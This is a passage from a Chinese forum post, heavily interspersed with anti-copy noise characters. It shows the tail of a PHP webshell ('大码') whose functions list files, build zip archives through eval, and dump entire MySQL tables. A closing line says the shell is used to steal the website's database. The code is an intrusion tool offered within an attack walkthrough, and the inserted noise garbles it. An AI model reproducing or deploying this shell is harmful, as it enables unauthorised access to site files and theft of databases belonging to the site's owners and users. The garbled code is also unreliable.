    ; P3 d& ]/ Y6 n) H
  1686.                 else return 0;$ \* c5 G4 a+ I0 H1 S6 [
  1687.         }
    2 G: R. r, ~. S& g
  1688. ! o$ G/ W  {  R# V0 Z% s
  1689.         // 获得指定目录文件列表) ~) Y0 v% ]; d* p! \. S
  1690.         function GetFileList($dir){
    6 S! H5 F. m; J( q. X) l
  1691.                 static $a;, @0 e; T. P: b* i8 _; b
  1692.                 if (is_dir($dir)) {( e0 U8 f0 L: K5 ~1 K$ ~: I$ Z2 Z
  1693.                         if ($dh = opendir($dir)) {# l7 d/ I; X( L
  1694.                                 while ($file = readdir($dh)) {& ^: p: Q  V3 _, x4 {( w
  1695.                                         if($file!='.' && $file!='..'){
    1 U$ \( t& o* A+ m* j, u8 P! P
  1696.                                                 $f=$dir .'/'. $file;1 O' S$ Z: T' ]0 R) d
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);
    : C, f4 o6 K7 ^7 g2 z8 C
  1698.                                                 $a[]=$f;
    5 B9 E% U9 Z, X" T: x% w1 ?
  1699.                                         }
    : i3 }* T: s4 |( Z
  1700.                                 }
    8 z6 d! u- p: y8 Z* e
  1701.                                 closedir($dh);
    - J7 A+ e+ V# b- @) j: Q, q
  1702.                         }
    6 E5 L' G+ C: l4 @
  1703.                 }
    ! r& q& m; o& l* L' q- P! E
  1704.                 return $a;
    4 ]7 n' K# X6 N  _$ B
  1705.         }
    + b- l) H: T, z( m+ \
  1706. * H( @6 T% t2 U. {* b- h7 w
  1707.         var $datasec      = array();, Z9 ~, t2 U: K# n, x# A
  1708.         var $ctrl_dir     = array();( d# T0 ?8 P- W$ [& A5 Y
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";! Z( u: J4 \( B& T# p
  1710.         var $old_offset   = 0;) }# b  W' }% t. @; H2 c4 `

  1711. $ ?5 |5 P& U- Y6 ?
  1712.         function unix2DosTime($unixtime = 0) {
    * t& [# m; Q4 v& }) {
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);  A% Z) t8 y# O" g% u% Y
  1714.                 if ($timearray['year'] < 1980) {# y9 z, ]$ D" ]% z+ X
  1715.                         $timearray['year']    = 1980;, h& _. w2 z3 C. {9 L
  1716.                         $timearray['mon']     = 1;
    . ^0 w& J* C6 B* E: ^  i. |
  1717.                         $timearray['mday']    = 1;0 ]* L/ ^  n0 C! S" Q5 H
  1718.                         $timearray['hours']   = 0;2 {9 c" j6 @" ~5 j# l1 H% s. V1 W
  1719.                         $timearray['minutes'] = 0;
      X% P( F- h$ l- q( j
  1720.                         $timearray['seconds'] = 0;) u( i( q: ~! z% f
  1721.                 } // end if8 F! ]2 }& g) `* K3 D8 v
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |' F$ {* a0 {% I/ A
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);" u2 U' A$ Q( J$ Q5 v! [
  1724.         }
    3 a3 G$ }( Q  j+ q7 o6 z5 f
  1725.         function addFile($data, $name, $time = 0) {  u5 P! u: S- n1 P2 X# _8 m( k* U
  1726.                 $name = str_replace('\\', '/', $name);" @6 Z2 a4 t0 P/ G1 D5 l
  1727.                 $dtime = dechex($this->unix2DosTime($time));
    * M- L4 h5 i- D, K) |0 k
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]
    8 F7 b) K9 a3 E; W% e6 T+ q5 ?
  1729.                                         . '\x' . $dtime[4] . $dtime[5]
    4 \' I$ ~4 _: \( x+ C
  1730.                                         . '\x' . $dtime[2] . $dtime[3]+ |9 J- X* c" i4 b4 l) I
  1731.                                         . '\x' . $dtime[0] . $dtime[1];
    8 L, B  r- \  Q4 e# h$ Q, o
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');
    - y* q3 b" f* L2 {4 a" p: @
  1733.                 $fr        = "\x50\x4b\x03\x04";
    # }. m  P% {) J
  1734.                 $fr        .= "\x14\x00";) B' x) ]0 f4 A
  1735.                 $fr        .= "\x00\x00";
    ( t0 e  z# E$ F5 {/ b) M
  1736.                 $fr        .= "\x08\x00";6 O* Q) U* G5 c4 E9 g/ l
  1737.                 $fr        .= $hexdtime;, B6 {9 z- g$ G# t/ X
  1738.                 $unc_len = strlen($data);7 `! w! k+ R& j$ x9 Z3 J( ]
  1739.                 $crc = crc32($data);
    / z# O0 C- F: B2 g$ g- n# `+ L: @* X
  1740.                 $zdata = gzcompress($data);
    % R6 ~1 E8 ^  R  m, u
  1741.                 $c_len = strlen($zdata);
    . {# S. U+ n0 C
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);6 X' P* W7 N- R1 c7 [
  1743.                 $fr .= pack('V', $crc);$ R% G7 s" e! a; J3 d
  1744.                 $fr .= pack('V', $c_len);
    " F, R7 Y: k1 C8 [: n
  1745.                 $fr .= pack('V', $unc_len);5 A" c( V' w6 J7 v, E% k5 l  @
  1746.                 $fr .= pack('v', strlen($name));
    % S& k: m1 K# @) Q
  1747.                 $fr .= pack('v', 0);6 v) m: p+ g6 u
  1748.                 $fr .= $name;
    4 V2 P# }) D& g/ e7 d9 e) |3 O
  1749.                 $fr .= $zdata;. ^1 A$ E/ I4 m( x6 T* Y* i( p
  1750.                 $fr .= pack('V', $crc);
    7 ]  U2 U5 `( ?2 V) z' P) u
  1751.                 $fr .= pack('V', $c_len);
    ; [4 d5 e4 Z- v' E! R$ V/ X# u
  1752.                 $fr .= pack('V', $unc_len);% U! I) F0 z$ `& F3 ^1 Q
  1753.                 $this -> datasec[] = $fr;
    # {3 Q4 u( F& F& r4 c
  1754.                 $new_offset = strlen(implode('', $this->datasec));3 p+ Q3 g' T, R+ b8 `' F
  1755.                 $cdrec = "\x50\x4b\x01\x02";6 ^/ i7 W0 Q7 d# h% }
  1756.                 $cdrec .= "\x00\x00";
    4 t& K9 Q+ p( x
  1757.                 $cdrec .= "\x14\x00";$ X. t# N5 S0 P9 U! o( {
  1758.                 $cdrec .= "\x00\x00";) y3 ]& e% ]& b: ^/ m3 d# _
  1759.                 $cdrec .= "\x08\x00";2 ?  _- m; o7 p! ?# L& x3 ]
  1760.                 $cdrec .= $hexdtime;
    # j1 O1 O% F6 T. U; m
  1761.                 $cdrec .= pack('V', $crc);+ b8 @+ O5 F' H9 W5 N
  1762.                 $cdrec .= pack('V', $c_len);: g2 w8 _1 [/ F
  1763.                 $cdrec .= pack('V', $unc_len);
    5 i& Y- }3 K7 T& s/ K
  1764.                 $cdrec .= pack('v', strlen($name) );1 ~1 m1 h3 `+ z  t8 |7 F0 k
  1765.                 $cdrec .= pack('v', 0 );( U- b, r* H/ N1 @- b( A0 b
  1766.                 $cdrec .= pack('v', 0 );% h; H& S. u3 g3 W
  1767.                 $cdrec .= pack('v', 0 );, b- |+ U% Z0 s/ q9 F/ s
  1768.                 $cdrec .= pack('v', 0 );- A$ y5 T% e- G7 J; [! c% a
  1769.                 $cdrec .= pack('V', 32 );
    0 y& W3 l7 B; d
  1770.                 $cdrec .= pack('V', $this -> old_offset );3 a' u: s' V  t* y; d6 c
  1771.                 $this -> old_offset = $new_offset;% S- h/ C, H( L9 k  \. X
  1772.                 $cdrec .= $name;
    ; x, O, M' R4 W
  1773.                 $this -> ctrl_dir[] = $cdrec;9 |& C- a  T- \5 f
  1774.         }$ S- t% f" R  F
  1775.         function file() {! y; H/ O) n, t3 }" V$ b
  1776.                 $data    = implode('', $this -> datasec);
    ! H3 n9 P& D4 c' W& Y
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);
    / P& l$ ?* D$ g3 _% m
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
    0 j1 \/ X: o* P8 f+ G6 J0 P3 p) P
  1779.         }+ H0 p) I; A% b
  1780. }% j4 M/ o/ g; w& {
  1781. // 备份数据库( e- z7 \. h7 i' R" G- y" v
  1782. function sqldumptable($table, $fp=0) {
    ( X" H( O3 R( i/ g6 S
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
    : `4 v; s; \. [3 e. x$ c+ o) I, Y% l
  1784.         $tabledump .= "CREATE TABLE $table (\n";  v. G* P1 v8 O; a
  1785.         $firstfield=1;$ G& Z+ K( @2 a
  1786.         $fields = q("SHOW FIELDS FROM $table");. G' E7 f, I  V/ b& W/ p
  1787.         while ($field = mysql_fetch_array($fields)) {4 z2 Z$ p: t8 }; k8 U
  1788.                 if (!$firstfield) {
    ; Y: r# v1 I; H) Z+ i; r
  1789.                         $tabledump .= ",\n";
    ; c2 \) T( v6 T8 @8 Z
  1790.                 } else {9 [5 H6 z- T) {+ h4 p7 Y
  1791.                         $firstfield=0;
    4 X5 m& A9 i0 W+ N3 t/ O3 V
  1792.                 }
    / C" j/ D5 K1 J0 |
  1793.                 $tabledump .= "   $field[Field] $field[Type]";
    , @$ i2 ~2 u; P- I  `
  1794.                 if (!empty($field["Default"])) {2 ^1 b: L  x+ \( z
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";$ b" P( h8 z$ U7 h7 I/ p
  1796.                 }& @1 T2 X1 c  @- w% N7 z% ~9 N
  1797.                 if ($field['Null'] != "YES") {
    % J# [; L! I+ f+ X( q0 ]* R
  1798.                         $tabledump .= " NOT NULL";
    ) h' {2 V. y# D  R" H/ T) E
  1799.                 }
    . U/ }5 c0 U4 W0 `& ^$ V  u
  1800.                 if ($field['Extra'] != "") {
    ; w  F* g3 i4 ?6 D/ ^
  1801.                         $tabledump .= " $field[Extra]";$ }6 B8 V  q5 Q
  1802.                 }
    ; S' m  k8 l9 B2 K9 o; g
  1803.         }
    6 Z# T3 Y/ S/ e: B2 b
  1804.         fr($fields);
      h: d# K0 g% R7 L9 b
  1805.         $keys = q("SHOW KEYS FROM $table");
    / \5 g6 `0 `2 V$ q$ }9 |7 [
  1806.         while ($key = mysql_fetch_array($keys)) {. c, k% i9 M# u3 f; {: \4 F
  1807.                 $kname=$key['Key_name'];2 O$ J6 d) E  \) ]) T: I
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
    6 S1 @3 }# P  k7 p4 N1 c5 l
  1809.                         $kname="UNIQUE|$kname";
    + ]+ ~1 R! E6 [3 \% v
  1810.                 }1 W2 R2 R! q8 U! a
  1811.                 if(!is_array($index[$kname])) {+ o# l0 z5 l3 H( l3 `
  1812.                         $index[$kname] = array();0 D( ~7 x  b# D3 r/ u
  1813.                 }
    5 \0 [; z! A9 G: H
  1814.                 $index[$kname][] = $key['Column_name'];
    ) A/ ]- ]# ?7 z
  1815.         }
    9 p6 ]) B+ W7 g/ I' k; x
  1816.         fr($keys);: T! j% \) c8 X! r
  1817.         while(list($kname, $columns) = @each($index)) {8 y) x" L" y$ w5 T" Y
  1818.                 $tabledump .= ",\n";
    / R2 k9 V$ }9 ^: o7 d9 o  D
  1819.                 $colnames=implode($columns,",");
    + W+ `  p4 I( s5 E* L6 B4 m* @
  1820.                 if ($kname == "PRIMARY") {' k  t6 H+ K, z
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";- j" ]# V5 J8 {4 }" |' [
  1822.                 } else {
    , O! c: i, o/ }
  1823.                         if (substr($kname,0,6) == "UNIQUE") {/ n9 t9 K; D! K& _$ i
  1824.                                 $kname=substr($kname,7);/ g$ r# W6 s1 r6 H) u& E+ M
  1825.                         }
    : t0 P: N" d% E4 T
  1826.                         $tabledump .= "   KEY $kname ($colnames)";2 S  V" J6 Q* L1 I
  1827.                 }
    " ]/ T) M8 u9 V5 t
  1828.         }  Y" D7 t: Q& ~' n
  1829.         $tabledump .= "\n);\n\n";
    / O( V6 m" e' e+ @1 w
  1830.         if ($fp) {0 |  [4 G- l" @& f8 a6 W% J, q
  1831.                 fwrite($fp,$tabledump);' H$ d8 j' x8 G  y, w: ~
  1832.         } else {
    ) t% `, R* w+ B4 ^2 n  m
  1833.                 echo $tabledump;
    0 i0 H+ q6 U3 U. E
  1834.         }: V- m0 }& K3 Q
  1835.         $rows = q("SELECT * FROM $table");
    1 C( C6 `1 f  A6 G$ w8 [: u: S
  1836.         $numfields = mysql_num_fields($rows);
    ' d' P% C% X. m3 x
  1837.         while ($row = mysql_fetch_array($rows)) {
    - M% \$ ?# @- z% a9 L2 g0 G
  1838.                 $tabledump = "INSERT INTO $table VALUES(";: x$ y# m1 |* N) ?5 a7 R
  1839.                 $fieldcounter=-1;' ]% ^/ v, e- R, N9 ]5 S+ m
  1840.                 $firstfield=1;$ `: [" h4 L+ c, a8 E$ w( a5 B
  1841.                 while (++$fieldcounter<$numfields) {
    * M* d+ T, S- O2 w2 ]
  1842.                         if (!$firstfield) {0 q, E: X5 s! G4 P3 T, h# y  O
  1843.                                 $tabledump.=", ";: Y6 E$ d1 M6 a  p1 I5 K  G# V  ~* F
  1844.                         } else {
    3 h1 V  Q9 J. ~- P  l' u9 {  P
  1845.                                 $firstfield=0;+ P8 e8 S" N$ t6 P8 B' N
  1846.                         }" n4 ]- T2 f' b  [
  1847.                         if (!isset($row[$fieldcounter])) {0 O/ X( Z4 r2 I; W, a
  1848.                                 $tabledump .= "NULL";8 m9 n/ p# A2 F
  1849.                         } else {
    & R% I: _7 o- ?& H  f
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
    % M$ N( S* i7 h4 o/ ~1 N
  1851.                         }
    , g4 O7 T/ J" u% b' }3 |. p
  1852.                 }
    ' e7 {8 ^" \5 ~6 C
  1853.                 $tabledump .= ");\n";
    . ~8 j" Q. P1 _  n2 p: D
  1854.                 if ($fp) {
    * @$ X/ \; I: F% X) _! t
  1855.                         fwrite($fp,$tabledump);
    2 `2 o; s; U2 e. n
  1856.                 } else {0 P2 r0 K0 h  j- r9 W4 s# I
  1857.                         echo $tabledump;
    1 y' E. `" F) s% {) @0 U
  1858.                 }
    $ s; f: `$ ]' E/ C
  1859.         }
    ; v, @4 E# W) I2 T; T
  1860.         fr($rows);
    / L$ v3 Z6 c( u2 w- H2 d
  1861.         if ($fp) {9 I/ O! j: i  o5 n9 H. k: j
  1862.                 fwrite($fp,"\n");
    " L2 s, v- ^5 p7 k4 D6 _
  1863.         } else {% Q. }, V/ s3 {4 e  {
  1864.                 echo "\n";- c. t. u( `3 m- B8 m6 r. p( J
  1865.         }
    # F7 I, w! e( q  c; n5 [
  1866. }! L. k4 z7 Q6 @
  1867. function ue($str){7 ^. E- o& @, a0 x0 ~) C& n
  1868.         return urlencode($str);, Y* u) {0 ~( y1 a1 h7 s
  1869. }
    ! b9 n# G/ g, a0 e- j
  1870. function p($str){
    & B4 E. e9 [+ X8 y
  1871.         echo $str."\n";$ o: e% k' k& G: b+ Q: `$ I
  1872. }
    6 J' C4 P& P2 v- J0 _8 u
  1873. function tbhead() {. l0 p* R9 Y& l. f7 U( P
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
    4 t* i# r! y9 M6 _" D& i; E
  1875. }/ \9 i7 P- F2 g
  1876. function tbfoot(){
    ; i: B, K1 B9 h+ ~7 _
  1877.         p('</table>');$ m$ y! a9 [, v3 B
  1878. }
    2 R6 n* R; v  k* C0 _2 D7 S/ P
  1879. function makehide($name,$value=''){
    - ]: d: G7 Y0 D7 w8 H- Q5 L& i: o
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
    0 W0 V: Q; Q7 u1 O& |
  1881. }0 I' N" u% z2 K) p* w0 N" m
  1882. function makeinput($arg = array()){
    1 I, d' |" C6 \( q" A' n! Z
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
    ( U5 |2 w# ^& |2 B( b
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';- {( l6 p+ O7 Y1 ?% T" S+ d
  1885.         !$arg['type'] && $arg['type'] = 'text';9 Q4 l' {# w& G  b; c2 g  A
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';: V' L+ ]: p( d  c! F% }
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
    ( ^0 }' D# S8 Y7 {
  1888.         if ($arg['newline']) {
    2 L3 |1 f% q) ^+ @- c2 [
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");; p2 N# H8 T9 }0 }
  1890.         } else {: h# c9 }6 E5 u; f! h+ K0 }
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
    , d. @% c+ h! L3 g* {# a3 m
  1892.         }
    ; d2 D4 v; m, f$ }# ?& J- L7 U% L, v
  1893. }
    6 d6 d0 w$ k0 T8 L
  1894. function makeselect($arg = array()){
    / z1 r. |, o6 ^! D$ M9 d1 U$ {' R
  1895.         if ($arg['onchange']) {
    1 \/ [% k: |2 \+ s* j; s# i
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';7 @+ d0 D8 n! r
  1897.         }7 R1 d+ }, o( J8 ^& R7 N2 S
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
    ! H3 {$ s" a! [
  1899.         if ($arg['newline']) p('<p>');; [" j- d/ Y! {0 C' y
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
    * M/ q# O. Y- w( v7 q; u' g7 V
  1901.                 if (is_array($arg['option'])) {% r' E% \  o( W) S# @  R
  1902.                         foreach ($arg['option'] as $key=>$value) {1 X/ M* D: u8 }* x/ }
  1903.                                 if ($arg['selected']==$key) {3 z! u8 w' ?+ U" v% y8 f
  1904.                                         p("<option value="$key" selected>$value</option>");% a% T( A9 n: ~! s
  1905.                                 } else {
    + ]' @# |( m. N) L0 ^
  1906.                                         p("<option value="$key">$value</option>");: a. I8 }0 |4 Z+ {8 c% w
  1907.                                 }
    1 b5 V3 W% r, p5 T8 D0 ~
  1908.                         }
    " m# V! \( j( L
  1909.                 }
    0 Y1 G# p9 z& y) g; T  C
  1910.         p("</select>");
    " a- p# i: \2 j* N& Y, e/ f
  1911.         if ($arg['newline']) p('</p>');
    - L' C8 [( {0 N7 C! `5 C$ e
  1912. }
      R) g( W' I( i* X8 q& ^* ]" M3 I+ D
  1913. function formhead($arg = array()) {. ^. z) {1 \+ X6 a5 \- B. e! d# J
  1914.         !$arg['method'] && $arg['method'] = 'post';
    - u* n& j' `: \( K7 k$ c' E
  1915.         !$arg['action'] && $arg['action'] = $self;+ \" j/ t& r0 r) n  x0 D! l- C, ]
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
    0 J2 l4 V) H+ r! D
  1917.         !$arg['name'] && $arg['name'] = 'form1';5 ]3 |) U5 E6 r: z" Z  _6 C
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
    6 h0 k8 g. ?7 [9 m, N) J, x7 n! w
  1919.         if ($arg['title']) {* Y, a. B, Y6 K* [4 w8 j
  1920.                 p('<h2>'.$arg['title'].' »</h2>');
    " Y  L4 T+ I2 l7 a4 T
  1921.         }3 J6 R. y3 o% m. _  `
  1922. }: [/ G  K4 D  N) T
  1923.        
    & U, M0 L; @. r0 q
  1924. function maketext($arg = array()){% }1 _+ U5 V* d8 T' D6 g
  1925.         !$arg['cols'] && $arg['cols'] = 100;/ P6 Y% `" m) H% q2 h) Q2 s
  1926.         !$arg['rows'] && $arg['rows'] = 25;
    ! j1 V+ G( m3 S: B% L! z# u) |
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    - m7 v2 ?% S0 `, O  D8 |* z0 m
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");" J7 Z- _. f2 O; r
  1929. }
    8 I. l5 H2 @. C" w2 F" {

  1930. / o9 U5 B2 p6 ~4 G& L8 g5 f
  1931. function formfooter($name = ''){% v! W* o) t' m
  1932.         !$name && $name = 'submit';
    # C+ N0 O3 h4 N
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');( J1 Z  ^: h" a+ a; k
  1934.         p('</form>');% f. S+ b5 d+ o: O! k5 J
  1935. }
    4 x$ V% B/ o* z8 ~+ V- c
  1936. 3 G" _9 U0 r/ [- {# q& S
  1937. function formfoot(){
    & C) `' S$ ~! @* K0 p' p8 L
  1938.         p('</form>');: x& B) S; g0 P# K' u
  1939. }$ a0 b( o+ ~! u# l

  1940. 6 K7 ]) q. y8 N% x
  1941. // 调试函数
    2 V1 D+ w. J: |3 h+ v8 m
  1942. function pr($a) {. t' }* z7 C' K9 T
  1943.         echo '<pre>';
    % c  ?5 G1 `6 y% x2 n0 I$ z; D+ B
  1944.         print_r($a);
    % S* v( B: _2 z! [3 G# O
  1945.         echo '</pre>';
    " L- K8 ?; s; }6 H6 S4 y
  1946. }' @9 Z, ~3 E" E, X

  1947. 1 B. @5 z3 v& C4 @9 D
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库
6 I: l: U1 \" A

( V6 g- e4 k& a4 R  [7 A
4 }9 N0 M4 I; {; [7 j) b! \! U
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-6-20 01:04 PM , Processed in 0.141573 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表